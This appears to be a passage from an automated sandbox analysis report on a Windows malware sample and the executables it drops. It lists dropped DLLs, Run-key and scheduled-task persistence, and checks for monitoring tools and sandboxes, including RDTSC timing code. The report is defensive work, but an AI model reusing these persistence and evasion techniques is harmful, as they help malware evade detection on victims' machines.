Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsECBGHCGCBK.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsECBGHCGCBK.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 28d9ab8742.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3daf81f16e.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run be33d1b9ea.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsECBGHCGCBK.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsECBGHCGCBK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 28d9ab8742.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 28d9ab8742.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3daf81f16e.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3daf81f16e.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run be33d1b9ea.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run be33d1b9ea.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB355F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CB355F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573885 second address: 573889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573889 second address: 5738B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007FB438C61F2Ch 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB438C61F2Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5738B1 second address: 5738B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5738B7 second address: 5738C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB438C61F26h 0x0000000a rdtsc
